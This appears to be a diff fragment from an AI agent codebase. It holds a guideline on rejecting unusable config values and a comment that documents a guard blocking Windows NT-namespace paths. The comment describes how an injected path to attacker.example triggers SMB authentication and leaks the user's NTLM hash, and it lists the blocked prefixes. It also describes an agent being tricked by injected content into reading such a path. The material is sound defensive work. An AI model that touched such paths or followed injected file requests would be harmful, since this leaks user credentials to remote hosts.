-**Fail loud at integration boundaries.** When a configuration value, credential, or user-supplied input is unusable — a placeholder token, an empty required field, an out-of-range number like `TERMINAL_TIMEOUT=0` — reject it where it is read and name the problem: a clear error at startup or at the write path, never a silent no-op that turns the confusion into a debugging session later. Each boundary validates its own values in place; there is intentionally no shared `fail_loud` helper, because one call-site shape does not fit all — the rule is about the behavior the user sees, not the function you call. A silent default is acceptable only where the default is a deliberate product choice documented in the config reference; everything else should tell the user what broke, where, and what to set.

-# ---------------------------------------------------------------------------
-# Windows NT-namespace path guard
-#
-# Pre-approval file accesses reject Windows NT-namespace (``\??\``) paths so
-# the remaining unguarded path touches cannot be turned into an NTLM
-# credential leak.
-#
-# The vector: on Windows, merely *resolving or touching* a path such as
-# ``\\??\\UNC\\attacker.example\\share\\x`` (or the ``\\\\?\\UNC\\`` /
-# ``GLOBALROOT`` re-entry forms) makes the OS initiate SMB authentication to
-# the remote host, leaking the user's NTLM hash — even when the read itself
-# fails or would later be denied. NT object-namespace paths also bypass
-# normal Win32 path normalization, which lets them dodge deny-prefix checks
-# built on ``realpath()`` string comparison. A model tricked by injected
-# content into "reading" such a path leaks credentials before any denylist
-# built on resolved paths can fire.
-#
-# Consequently this check MUST run on the *raw* path string before any
-# ``Path.resolve()`` / ``os.path.realpath()`` call, and it does — it is the
-# first check in both :func:`get_read_block_error` and the write-denial
-# classifier.
-#
-# Scope (deliberately narrow to avoid false positives):
-#   * ``\\??\\...``            — NT object-namespace paths. Never legitimate
-#                                tool input on any platform.
-#   * ``\\\\.\\...``           — Win32 device namespace (``\\\\.\\pipe\\``,
-#                                ``\\\\.\\PhysicalDrive0``, ...). Not a file
-#                                read/write target for agent tools.
-#   * ``\\\\?\\UNC\\...``      — extended-length UNC form (remote host).
-#   * ``\\\\?\\GLOBALROOT...`` — re-entry into the NT namespace.
-#
-# Plain drive-letter extended-length paths (``\\\\?\\C:\\...``) stay ALLOWED:
-# they are a routine local form (see hermes_cli/windows_ssh_runtime.py) and
-# carry no remote-auth trigger. Plain UNC shares (``\\\\server\\share``) are
-# also unchanged here — blocking ordinary UNC reads is a policy question,
-# not part of this namespace-bypass guard.
-#
-# The guard runs on every platform: these prefixes are never legitimate
-# inputs on POSIX either, and path strings can be relayed toward Windows
-# hosts (remote terminal backends, desktop bridges).
